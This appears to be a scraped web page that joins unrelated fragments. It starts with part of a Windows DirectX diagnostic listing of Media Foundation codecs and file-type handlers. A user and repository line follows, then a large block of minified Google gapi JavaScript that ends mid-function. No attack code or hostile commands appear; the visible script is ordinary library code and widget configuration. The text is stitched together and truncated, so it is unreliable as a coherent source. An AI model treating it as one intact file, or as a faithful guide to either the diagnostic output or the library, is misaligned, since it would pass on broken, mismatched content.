WMADMOD.DLL, 6.02.9200.16384 Microsoft MPEG Audio Decoder MFT, {70707B39-B2CA-4015-ABEA-F8447D22D88B}, 0x1, MSAudDecMFT.dll, 6.02.9200.16384 WMSpeech Decoder DMO, CLSID_CWMSPDecMediaObject, 0x1, WMSPDMOD.DLL, 6.02.9200.16384 G711 Wrapper MFT, {92B66080-5E2D-449E-90C4-C41F268E5514}, 0x1, mfcore.dll, 12.00.9200.16384 IMA ADPCM ACM Wrapper MFT, {A16E1BFF-A80D-48AD-AECD-A35C005685FE}, 0x1, mfcore.dll, 12.00.9200.16384 MP3 Decoder MFT, CLSID_CMP3DecMediaObject, 0x1, mp3dmod.dll, 6.02.9200.16384 ADPCM ACM Wrapper MFT, {CA34FE0A-5722-43AD-AF23-05F7650257DD}, 0x1, mfcore.dll, 12.00.9200.16384 Audio Encoders: MP3 Encoder ACM Wrapper MFT, {11103421-354C-4CCA-A7A3-1AFF9A5B6701}, 0x1, mfcore.dll, 12.00.9200.16384 WM Speech Encoder DMO, CLSID_CWMSPEncMediaObject2, 0x1, WMSPDMOE.DLL, 6.02.9200.16384 Microsoft MPEG-2 Audio Encoder MFT, {46A4DD5C-73F8-4304-94DF-308F760974F4}, 0x1, msmpeg2enc.dll, 12.00.9200.16384 WMAudio Encoder MFT, CLSID_CWMAEncMediaObject, 0x1, WMADMOE.DLL, 6.02.9200.16384 Microsoft AAC Audio Encoder MFT, {93AF0C51-2275-45D2-A35B-F2BA21CAED00}, 0x1, mfAACEnc.dll, 6.02.9200.16384 Microsoft Dolby Digital Encoder MFT, {AC3315C9-F481-45D7-826C-0B406C1F64B8}, 0x1, msac3enc.dll, 6.02.9200.16384 Audio Effects: AEC, CLSID_CWMAudioAEC, 0x1, mfwmaaec.dll, 6.02.9200.16384 Resampler MFT, CLSID_CResamplerMediaObject, 0x1, resampledmo.dll, 6.02.9200.16384 Multiplexers: Microsoft MPEG2 Multiplexer MFT, {AB300F71-01AB-46D2-AB6C-64906CB03258}, 0x2, mfmpeg2srcsnk.dll, 12.00.9200.16384 Others: Microsoft H264 Video Remux (MPEG2TSToMP4) MFT, {05A47EBB-8BF0-4CBF-AD2F-3B71D75866F5}, 0x1, msmpeg2vdec.dll, 12.00.8500.0000 -------------------------------------------- Media Foundation Enabled Hardware Categories -------------------------------------------- [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Media Foundation\HardwareMFT] EnableEncoders = 1 ------------------------------------- Media Foundation Byte Stream Handlers ------------------------------------- [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Media Foundation\ByteStreamHandlers] [HKEY_LOCAL_MACHINE\Software\Classes\MediaFoundation\MediaSources\Preferred] <file ext. or MIME type>, <handler CLSID>, <brief description>[, Preferred] .3g2, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .3gp, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .3gp2, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .3gpp, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .aac, {926F41F7-003E-4382-9E84-9E953BE10562}, ADTS Byte Stream Handler, Preferred .ac3, {46031BA1-083F-47D9-8369-23C92BDAB2FF}, AC-3 Byte Stream Handler, Preferred .adt, {926F41F7-003E-4382-9E84-9E953BE10562}, ADTS Byte Stream Handler, Preferred .adts, {926F41F7-003E-4382-9E84-9E953BE10562}, ADTS Byte Stream Handler, Preferred .asf, {41457294-644C-4298-A28A-BD69F2C0CF3B}, ASF Byte Stream Handler, Preferred .avi, {7AFA253E-F823-42F6-A5D9-714BDE467412}, AVI Byte Stream Handler, Preferred .dvr-ms, {65964407-A5D8-4060-85B0-1CCD63F768E2}, dvr-ms Byte Stream Handler, Preferred .dvr-ms, {A8721937-E2FB-4D7A-A9EE-4EB08C890B6E}, MF SBE Source ByteStreamHandler .ec3, {46031BA1-083F-47D9-8369-23C92BDAB2FF}, AC-3 Byte Stream Handler, Preferred .m2t, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .m2ts, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .m4a, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .m4v, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .mod, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .mov, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .mp2v, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .mp3, {A82E50BA-8E92-41EB-9DF2-433F50EC2993}, MP3 Byte Stream Handler, Preferred .mp4, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .mp4v, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .mpa, {A82E50BA-8E92-41EB-9DF2-433F50EC2993}, MP3 Byte Stream Handler, Preferred .mpeg, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .mpg, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .mts, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .nsc, {B084785C-DDE0-4D30-8CA8-05A373E185BE}, NSC Byte Stream Handler, Preferred .sami, {7A56C4CB-D678-4188-85A8-BA2EF68FA10D}, SAMI Byte Stream Handler, Preferred .smi, {7A56C4CB-D678-4188-85A8-BA2EF68FA10D}, SAMI Byte Stream Handler, Preferred .tod, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .ts, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .tts, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .vob, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .wav, {42C9B9F5-16FC-47EF-AF22-DA05F7C842E3}, WAV Byte Stream

    From user denman2328

  • dh-orko / help-me-get-rid-of-unhumans

    unknown-21-m, /* JS */ gapi.loaded_0(function(_){var window=this; var ha,ia,ja,ma,sa,na,ta,ya,Ja;_.ea=function(a){return function(){return _.da[a].apply(this,arguments)}};_._DumpException=function(a){throw a;};_.da=[];ha="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){a!=Array.prototype&&a!=Object.prototype&&(a[b]=c.value)};ia="undefined"!=typeof window&&window===this?this:"undefined"!=typeof window.global&&null!=window.global?window.global:this;ja=function(){ja=function(){};ia.Symbol||(ia.Symbol=ma)}; ma=function(){var a=0;return function(b){return"jscomp_symbol_"+(b||"")+a++}}();sa=function(){ja();var a=ia.Symbol.iterator;a||(a=ia.Symbol.iterator=ia.Symbol("iterator"));"function"!=typeof Array.prototype[a]&&ha(Array.prototype,a,{configurable:!0,writable:!0,value:function(){return na(this)}});sa=function(){}};na=function(a){var b=0;return ta(function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}})};ta=function(a){sa();a={next:a};a[ia.Symbol.iterator]=function(){return this};return a}; _.wa=function(a){sa();var b=a[window.Symbol.iterator];return b?b.call(a):na(a)};_.xa="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b};if("function"==typeof Object.setPrototypeOf)ya=Object.setPrototypeOf;else{var Ba;a:{var Ca={a:!0},Da={};try{Da.__proto__=Ca;Ba=Da.a;break a}catch(a){}Ba=!1}ya=Ba?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}_.Fa=ya; Ja=function(a,b){if(b){var c=ia;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];e in c||(c[e]={});c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ha(c,a,{configurable:!0,writable:!0,value:b})}};Ja("Array.prototype.find",function(a){return a?a:function(a,c){a:{var b=this;b instanceof String&&(b=String(b));for(var e=b.length,f=0;f<e;f++){var h=b[f];if(a.call(c,h,f,b)){a=h;break a}}a=void 0}return a}});var Ka=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)}; Ja("WeakMap",function(a){function b(a){Ka(a,d)||ha(a,d,{value:{}})}function c(a){var c=Object[a];c&&(Object[a]=function(a){b(a);return c(a)})}if(function(){if(!a||!Object.seal)return!1;try{var b=Object.seal({}),c=Object.seal({}),d=new a([[b,2],[c,3]]);if(2!=d.get(b)||3!=d.get(c))return!1;d["delete"](b);d.set(c,4);return!d.has(b)&&4==d.get(c)}catch(n){return!1}}())return a;var d="$jscomp_hidden_"+Math.random();c("freeze");c("preventExtensions");c("seal");var e=0,f=function(a){this.Aa=(e+=Math.random()+ 1).toString();if(a){ja();sa();a=_.wa(a);for(var b;!(b=a.next()).done;)b=b.value,this.set(b[0],b[1])}};f.prototype.set=function(a,c){b(a);if(!Ka(a,d))throw Error("a`"+a);a[d][this.Aa]=c;return this};f.prototype.get=function(a){return Ka(a,d)?a[d][this.Aa]:void 0};f.prototype.has=function(a){return Ka(a,d)&&Ka(a[d],this.Aa)};f.prototype["delete"]=function(a){return Ka(a,d)&&Ka(a[d],this.Aa)?delete a[d][this.Aa]:!1};return f}); Ja("Map",function(a){if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var b=Object.seal({x:4}),c=new a(_.wa([[b,"s"]]));if("s"!=c.get(b)||1!=c.size||c.get({x:4})||c.set({x:4},"t")!=c||2!=c.size)return!1;var d=c.entries(),e=d.next();if(e.done||e.value[0]!=b||"s"!=e.value[1])return!1;e=d.next();return e.done||4!=e.value[0].x||"t"!=e.value[1]||!d.next().done?!1:!0}catch(q){return!1}}())return a;ja();sa();var b=new window.WeakMap,c=function(a){this.lf= {};this.Pe=f();this.size=0;if(a){a=_.wa(a);for(var b;!(b=a.next()).done;)b=b.value,this.set(b[0],b[1])}};c.prototype.set=function(a,b){var c=d(this,a);c.list||(c.list=this.lf[c.id]=[]);c.ke?c.ke.value=b:(c.ke={next:this.Pe,Pi:this.Pe.Pi,head:this.Pe,key:a,value:b},c.list.push(c.ke),this.Pe.Pi.next=c.ke,this.Pe.Pi=c.ke,this.size++);return this};c.prototype["delete"]=function(a){a=d(this,a);return a.ke&&a.list?(a.list.splice(a.index,1),a.list.length||delete this.lf[a.id],a.ke.Pi.next=a.ke.next,a.ke.next.Pi= a.ke.Pi,a.ke.head=null,this.size--,!0):!1};c.prototype.clear=function(){this.lf={};this.Pe=this.Pe.Pi=f();this.size=0};c.prototype.has=function(a){return!!d(this,a).ke};c.prototype.get=function(a){return(a=d(this,a).ke)&&a.value};c.prototype.entries=function(){return e(this,function(a){return[a.key,a.value]})};c.prototype.keys=function(){return e(this,function(a){return a.key})};c.prototype.values=function(){return e(this,function(a){return a.value})};c.prototype.forEach=function(a,b){for(var c=this.entries(), d;!(d=c.next()).done;)d=d.value,a.call(b,d[1],d[0],this)};c.prototype[window.Symbol.iterator]=c.prototype.entries;var d=function(a,c){var d=c&&typeof c;"object"==d||"function"==d?b.has(c)?d=b.get(c):(d=""+ ++h,b.set(c,d)):d="p_"+c;var e=a.lf[d];if(e&&Ka(a.lf,d))for(a=0;a<e.length;a++){var f=e[a];if(c!==c&&f.key!==f.key||c===f.key)return{id:d,list:e,index:a,ke:f}}return{id:d,list:e,index:-1,ke:void 0}},e=function(a,b){var c=a.Pe;return ta(function(){if(c){for(;c.head!=a.Pe;)c=c.Pi;for(;c.next!=c.head;)return c= c.next,{done:!1,value:b(c)};c=null}return{done:!0,value:void 0}})},f=function(){var a={};return a.Pi=a.next=a.head=a},h=0;return c}); Ja("Set",function(a){if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var b=Object.seal({x:4}),d=new a(_.wa([b]));if(!d.has(b)||1!=d.size||d.add(b)!=d||1!=d.size||d.add({x:4})!=d||2!=d.size)return!1;var e=d.entries(),f=e.next();if(f.done||f.value[0]!=b||f.value[1]!=b)return!1;f=e.next();return f.done||f.value[0]==b||4!=f.value[0].x||f.value[1]!=f.value[0]?!1:e.next().done}catch(h){return!1}}())return a;ja();sa();var b=function(a){this.V= new window.Map;if(a){a=_.wa(a);for(var b;!(b=a.next()).done;)this.add(b.value)}this.size=this.V.size};b.prototype.add=function(a){this.V.set(a,a);this.size=this.V.size;return this};b.prototype["delete"]=function(a){a=this.V["delete"](a);this.size=this.V.size;return a};b.prototype.clear=function(){this.V.clear();this.size=0};b.prototype.has=function(a){return this.V.has(a)};b.prototype.entries=function(){return this.V.entries()};b.prototype.values=function(){return this.V.values()};b.prototype.keys= b.prototype.values;b.prototype[window.Symbol.iterator]=b.prototype.values;b.prototype.forEach=function(a,b){var c=this;this.V.forEach(function(d){return a.call(b,d,d,c)})};return b});_.La=_.La||{};_.m=this;_.r=function(a){return void 0!==a};_.u=function(a){return"string"==typeof a}; _.Ma=function(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null"; else if("function"==b&&"undefined"==typeof a.call)return"object";return b};_.Oa=function(a){return"array"==_.Ma(a)};_.Pa="closure_uid_"+(1E9*Math.random()>>>0);_.Qa=Date.now||function(){return+new Date};_.w=function(a,b){a=a.split(".");var c=_.m;a[0]in c||!c.execScript||c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)!a.length&&_.r(b)?c[d]=b:c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}}; _.z=function(a,b){function c(){}c.prototype=b.prototype;a.H=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.ep=function(a,c,f){for(var d=Array(arguments.length-2),e=2;e<arguments.length;e++)d[e-2]=arguments[e];return b.prototype[c].apply(a,d)}}; _.Ta=window.osapi=window.osapi||{}; window.___jsl=window.___jsl||{}; (window.___jsl.cd=window.___jsl.cd||[]).push({gwidget:{parsetags:"explicit"},appsapi:{plus_one_service:"/plus/v1"},csi:{rate:.01},poshare:{hangoutContactPickerServer:"https://plus.google.com"},gappsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],display_on_page_ready:!1},appsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],display_on_page_ready:!1}, "oauth-flow":{authUrl:"https://accounts.google.com/o/oauth2/auth",proxyUrl:"https://accounts.google.com/o/oauth2/postmessageRelay",redirectUri:"postmessage",loggingUrl:"https://accounts.google.com/o/oauth2/client_log"},iframes:{sharebox:{params:{json:"&"},url:":socialhost:/:session_prefix:_/sharebox/dialog"},plus:{url:":socialhost:/:session_prefix:_/widget/render/badge?usegapi=1"},":socialhost:":"https://apis.google.com",":im_socialhost:":"https://plus.googleapis.com",domains_suggest:{url:"https://domains.google.com/suggest/flow"}, card:{params:{s:"#",userid:"&"},url:":socialhost:/:session_prefix:_/hovercard/internalcard"},":signuphost:":"https://plus.google.com",":gplus_url:":"https://plus.google.com",plusone:{url:":socialhost:/:session_prefix:_/+1/fastbutton?usegapi=1"},plus_share:{url:":socialhost:/:session_prefix:_/+1/sharebutton?plusShare=true&usegapi=1"},plus_circle:{url:":socialhost:/:session_prefix:_/widget/plus/circle?usegapi=1"},plus_followers:{url:":socialhost:/_/im/_/widget/render/plus/followers?usegapi=1"},configurator:{url:":socialhost:/:session_prefix:_/plusbuttonconfigurator?usegapi=1"}, appcirclepicker:{url:":socialhost:/:session_prefix:_/widget/render/appcirclepicker"},page:{url:":socialhost:/:session_prefix:_/widget/render/page?usegapi=1"},person:{url:":socialhost:/:session_prefix:_/widget/render/person?usegapi=1"},community:{url:":ctx_socialhost:/:session_prefix::im_prefix:_/widget/render/community?usegapi=1"},follow:{url:":socialhost:/:session_prefix:_/widget/render/follow?usegapi=1"},commentcount:{url:":socialhost:/:session_prefix:_/widget/render/commentcount?usegapi=1"},comments:{url:":socialhost:/:session_prefix:_/widget/render/comments?usegapi=1"}, youtube:{url:":socialhost:/:session_prefix:_/widget/render/youtube?usegapi=1"},reportabuse:{url:":socialhost:/:session_prefix:_/widget/render/reportabuse?usegapi=1"},additnow:{url:":socialhost:/additnow/additnow.html"},udc_webconsentflow:{url:"https://myaccount.google.com/webconsent?usegapi=1"},appfinder:{url:"https://gsuite.google.com/:session_prefix:marketplace/appfinder?usegapi=1"},":source:":"1p"},poclient:{update_session:"google.updateSessionCallback"},"googleapis.config":{methods:{"pos.plusones.list":!0, "pos.plusones.get":!0,"pos.plusones.insert":!0,"pos.plusones.delete":!0,"pos.plusones.getSignupState":!0},versions:{pos:"v1"},rpc:"/rpc",root:"https://content.googleapis.com","root-1p":"https://clients6.google.com",useGapiForXd3:!0,xd3:"/static/proxy.html",developerKey:"AIzaSyCKSbrvQasunBoV16zDH9R33D88CeLr9gQ",auth:{useInterimAuth:!1}},report:{apis:["iframes\\..*","gadgets\\..*","gapi\\.appcirclepicker\\..*","gapi\\.client\\..*"],rate:1E-4},client:{perApiBatch:!0}}); var Za,eb,fb;_.Ua=function(a){return"number"==typeof a};_.Va=function(){};_.Wa=function(a){var b=_.Ma(a);return"array"==b||"object"==b&&"number"==typeof a.length};_.Xa=function(a){return"function"==_.Ma(a)};_.Ya=function(a){var b=typeof a;return"object"==b&&null!=a||"function"==b};Za=0;_.bb=function(a){return a[_.Pa]||(a[_.Pa]=++Za)};eb=function(a,b,c){return a.call.apply(a.bind,arguments)}; fb=function(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}};_.A=function(a,b,c){_.A=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?eb:fb;return _.A.apply(null,arguments)}; _.ib=Array.prototype.indexOf?function(a,b){return Array.prototype.indexOf.call(a,b,void 0)}:function(a,b){if(_.u(a))return _.u(b)&&1==b.length?a.indexOf(b,0):-1;for(var c=0;c<a.length;c++)if(c in a&&a[c]===b)return c;return-1};_.jb=Array.prototype.lastIndexOf?function(a,b){return Array.prototype.lastIndexOf.call(a,b,a.length-1)}:function(a,b){var c=a.length-1;0>c&&(c=Math.max(0,a.length+c));if(_.u(a))return _.u(b)&&1==b.length?a.lastIndexOf(b,c):-1;for(;0<=c;c--)if(c in a&&a[c]===b)return c;return-1}; _.lb=Array.prototype.forEach?function(a,b,c){Array.prototype.forEach.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)f in e&&b.call(c,e[f],f,a)};_.mb=Array.prototype.filter?function(a,b){return Array.prototype.filter.call(a,b,void 0)}:function(a,b){for(var c=a.length,d=[],e=0,f=_.u(a)?a.split(""):a,h=0;h<c;h++)if(h in f){var k=f[h];b.call(void 0,k,h,a)&&(d[e++]=k)}return d}; _.nb=Array.prototype.map?function(a,b){return Array.prototype.map.call(a,b,void 0)}:function(a,b){for(var c=a.length,d=Array(c),e=_.u(a)?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d};_.ob=Array.prototype.some?function(a,b,c){return Array.prototype.some.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&b.call(c,e[f],f,a))return!0;return!1}; _.qb=Array.prototype.every?function(a,b,c){return Array.prototype.every.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&!b.call(c,e[f],f,a))return!1;return!0};_.rb=function(a,b){return 0<=(0,_.ib)(a,b)}; var vb;_.sb=function(a){return/^[\s\xa0]*$/.test(a)};_.tb=String.prototype.trim?function(a){return a.trim()}:function(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]};_.ub=String.prototype.repeat?function(a,b){return a.repeat(b)}:function(a,b){return Array(b+1).join(a)}; _.xb=function(a,b){var c=0;a=(0,_.tb)(String(a)).split(".");b=(0,_.tb)(String(b)).split(".");for(var d=Math.max(a.length,b.length),e=0;0==c&&e<d;e++){var f=a[e]||"",h=b[e]||"";do{f=/(\d*)(\D*)(.*)/.exec(f)||["","","",""];h=/(\d*)(\D*)(.*)/.exec(h)||["","","",""];if(0==f[0].length&&0==h[0].length)break;c=vb(0==f[1].length?0:(0,window.parseInt)(f[1],10),0==h[1].length?0:(0,window.parseInt)(h[1],10))||vb(0==f[2].length,0==h[2].length)||vb(f[2],h[2]);f=f[3];h=h[3]}while(0==c)}return c}; vb=function(a,b){return a<b?-1:a>b?1:0};_.yb=2147483648*Math.random()|0; a:{var Bb=_.m.navigator;if(Bb){var Cb=Bb.userAgent;if(Cb){_.Ab=Cb;break a}}_.Ab=""}_.Db=function(a){return-1!=_.Ab.indexOf(a)};var Fb;_.Eb=function(a,b,c){for(var d in a)b.call(c,a[d],d,a)};Fb="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");_.Gb=function(a,b){for(var c,d,e=1;e<arguments.length;e++){d=arguments[e];for(c in d)a[c]=d[c];for(var f=0;f<Fb.length;f++)c=Fb[f],Object.prototype.hasOwnProperty.call(d,c)&&(a[c]=d[c])}}; _.Hb=function(){return _.Db("Opera")};_.Ib=function(){return _.Db("Trident")||_.Db("MSIE")};_.Lb=function(){return _.Db("iPhone")&&!_.Db("iPod")&&!_.Db("iPad")};_.Mb=function(){return _.Lb()||_.Db("iPad")||_.Db("iPod")};var Nb=function(a){Nb[" "](a);return a},Sb;Nb[" "]=_.Va;_.Qb=function(a,b){try{return Nb(a[b]),!0}catch(c){}return!1};Sb=function(a,b){var c=Rb;return Object.prototype.hasOwnProperty.call(c,a)?c[a]:c[a]=b(a)};var gc,hc,Rb,pc;_.Tb=_.Hb();_.C=_.Ib();_.Ub=_.Db("Edge");_.Vb=_.Ub||_.C;_.Wb=_.Db("Gecko")&&!(-1!=_.Ab.toLowerCase().indexOf("webkit")&&!_.Db("Edge"))&&!(_.Db("Trident")||_.Db("MSIE"))&&!_.Db("Edge");_.Xb=-1!=_.Ab.toLowerCase().indexOf("webkit")&&!_.Db("Edge");_.Yb=_.Xb&&_.Db("Mobile");_.Zb=_.Db("Macintosh");_.$b=_.Db("Windows");_.ac=_.Db("Linux")||_.Db("CrOS");_.bc=_.Db("Android");_.cc=_.Lb();_.dc=_.Db("iPad");_.ec=_.Db("iPod");_.fc=_.Mb(); gc=function(){var a=_.m.document;return a?a.documentMode:void 0};a:{var ic="",jc=function(){var a=_.Ab;if(_.Wb)return/rv:([^\);]+)(\)|;)/.exec(a);if(_.Ub)return/Edge\/([\d\.]+)/.exec(a);if(_.C)return/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/.exec(a);if(_.Xb)return/WebKit\/(\S+)/.exec(a);if(_.Tb)return/(?:Version)[ \/]?(\S+)/.exec(a)}();jc&&(ic=jc?jc[1]:"");if(_.C){var kc=gc();if(null!=kc&&kc>(0,window.parseFloat)(ic)){hc=String(kc);break a}}hc=ic}_.lc=hc;Rb={}; _.mc=function(a){return Sb(a,function(){return 0<=_.xb(_.lc,a)})};_.oc=function(a){return Number(_.nc)>=a};var qc=_.m.document;pc=qc&&_.C?gc()||("CSS1Compat"==qc.compatMode?(0,window.parseInt)(_.lc,10):5):void 0;_.nc=pc; var sc,wc,xc,yc,zc,Ac,Bc,Cc;_.rc=function(a,b){return _.da[a]=b};_.tc=function(a){return Array.prototype.concat.apply([],arguments)};_.uc=function(a){var b=a.length;if(0<b){for(var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};_.vc=function(a,b){return 0==a.lastIndexOf(b,0)};wc=/&/g;xc=/</g;yc=/>/g;zc=/"/g;Ac=/'/g;Bc=/\x00/g;Cc=/[\x00&<>"']/; _.Dc=function(a){if(!Cc.test(a))return a;-1!=a.indexOf("&")&&(a=a.replace(wc,"&amp;"));-1!=a.indexOf("<")&&(a=a.replace(xc,"&lt;"));-1!=a.indexOf(">")&&(a=a.replace(yc,"&gt;"));-1!=a.indexOf('"')&&(a=a.replace(zc,"&quot;"));-1!=a.indexOf("'")&&(a=a.replace(Ac,"&#39;"));-1!=a.indexOf("\x00")&&(a=a.replace(Bc,"&#0;"));return a};_.Fc=function(a){return String(a).replace(/\-([a-z])/g,function(a,c){return c.toUpperCase()})};_.Gc=function(a,b){for(var c in a)if(a[c]==b)return!0;return!1}; var Hc,Ic;Hc=!_.C||_.oc(9);Ic=!_.Wb&&!_.C||_.C&&_.oc(9)||_.Wb&&_.mc("1.9.1");_.Jc=_.C&&!_.mc("9");_.Kc=_.C||_.Tb||_.Xb;_.Lc=_.C&&!_.oc(9);var Mc;_.Nc=function(){this.uw="";this.bP=Mc};_.Nc.prototype.Ch=!0;_.Nc.prototype.dg=function(){return this.uw};_.Nc.prototype.toString=function(){return"Const{"+this.uw+"}"};_.Oc=function(a){return a instanceof _.Nc&&a.constructor===_.Nc&&a.bP===Mc?a.uw:"type_error:Const"};Mc={};_.Pc=function(a){var b=new _.Nc;b.uw=a;return b};_.Pc(""); var Qc;_.Rc=function(){this.bC="";this.lP=Qc};_.Rc.prototype.Ch=!0;_.Rc.prototype.dg=function(){return this.bC};_.Rc.prototype.GA=!0;_.Rc.prototype.kl=function(){return 1};_.Sc=function(a){if(a instanceof _.Rc&&a.constructor===_.Rc&&a.lP===Qc)return a.bC;_.Ma(a);return"type_error:TrustedResourceUrl"};_.Uc=function(a){return _.Tc(_.Oc(a))};Qc={};_.Tc=function(a){var b=new _.Rc;b.bC=a;return b}; var Yc,Vc,Zc;_.Wc=function(){this.Zl="";this.VO=Vc};_.Wc.prototype.Ch=!0;_.Wc.prototype.dg=function(){return this.Zl};_.Wc.prototype.GA=!0;_.Wc.prototype.kl=function(){return 1};_.Xc=function(a){if(a instanceof _.Wc&&a.constructor===_.Wc&&a.VO===Vc)return a.Zl;_.Ma(a);return"type_error:SafeUrl"};Yc=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i;_.$c=function(a){if(a instanceof _.Wc)return a;a=a.Ch?a.dg():String(a);Yc.test(a)||(a="about:invalid#zClosurez");return Zc(a)}; _.ad=function(a){if(a instanceof _.Wc)return a;a=a.Ch?a.dg():String(a);Yc.test(a)||(a="about:invalid#zClosurez");return Zc(a)};Vc={};Zc=function(a){var b=new _.Wc;b.Zl=a;return b};Zc("about:blank"); _.dd=function(){this.aC="";this.UO=_.bd};_.dd.prototype.Ch=!0;_.bd={};_.dd.prototype.dg=function(){return this.aC};_.dd.prototype.Bi=function(a){this.aC=a;return this};_.ed=(new _.dd).Bi("");_.gd=function(){this.$B="";this.TO=_.fd};_.gd.prototype.Ch=!0;_.fd={};_.id=function(a){a=_.Oc(a);return 0===a.length?hd:(new _.gd).Bi(a)};_.gd.prototype.dg=function(){return this.$B};_.gd.prototype.Bi=function(a){this.$B=a;return this};var hd=(new _.gd).Bi(""); var jd;_.kd=function(){this.Zl="";this.SO=jd;this.qG=null};_.kd.prototype.GA=!0;_.kd.prototype.kl=function(){return this.qG};_.kd.prototype.Ch=!0;_.kd.prototype.dg=function(){return this.Zl};_.ld=function(a){if(a instanceof _.kd&&a.constructor===_.kd&&a.SO===jd)return a.Zl;_.Ma(a);return"type_error:SafeHtml"};jd={};_.nd=function(a,b){return(new _.kd).Bi(a,b)};_.kd.prototype.Bi=function(a,b){this.Zl=a;this.qG=b;return this};_.nd("<!DOCTYPE html>",0);_.od=_.nd("",0);_.pd=_.nd("<br>",0); _.qd=function(a,b){b=b instanceof _.Wc?b:_.ad(b);a.href=_.Xc(b)};var wd,yd,Ad;_.td=function(a){return a?new _.rd(_.sd(a)):sc||(sc=new _.rd)};_.ud=function(a,b){return _.u(b)?a.getElementById(b):b}; _.vd=function(a,b,c,d){a=d||a;b=b&&"*"!=b?String(b).toUpperCase():"";if(a.querySelectorAll&&a.querySelector&&(b||c))return a.querySelectorAll(b+(c?"."+c:""));if(c&&a.getElementsByClassName){a=a.getElementsByClassName(c);if(b){d={};for(var e=0,f=0,h;h=a[f];f++)b==h.nodeName&&(d[e++]=h);d.length=e;return d}return a}a=a.getElementsByTagName(b||"*");if(c){d={};for(f=e=0;h=a[f];f++)b=h.className,"function"==typeof b.split&&_.rb(b.split(/\s+/),c)&&(d[e++]=h);d.length=e;return d}return a}; _.xd=function(a,b){_.Eb(b,function(b,d){b&&b.Ch&&(b=b.dg());"style"==d?a.style.cssText=b:"class"==d?a.className=b:"for"==d?a.htmlFor=b:wd.hasOwnProperty(d)?a.setAttribute(wd[d],b):_.vc(d,"aria-")||_.vc(d,"data-")?a.setAttribute(d,b):a[d]=b})};wd={cellpadding:"cellPadding",cellspacing:"cellSpacing",colspan:"colSpan",frameborder:"frameBorder",height:"height",maxlength:"maxLength",nonce:"nonce",role:"role",rowspan:"rowSpan",type:"type",usemap:"useMap",valign:"vAlign",width:"width"}; _.zd=function(a,b){var 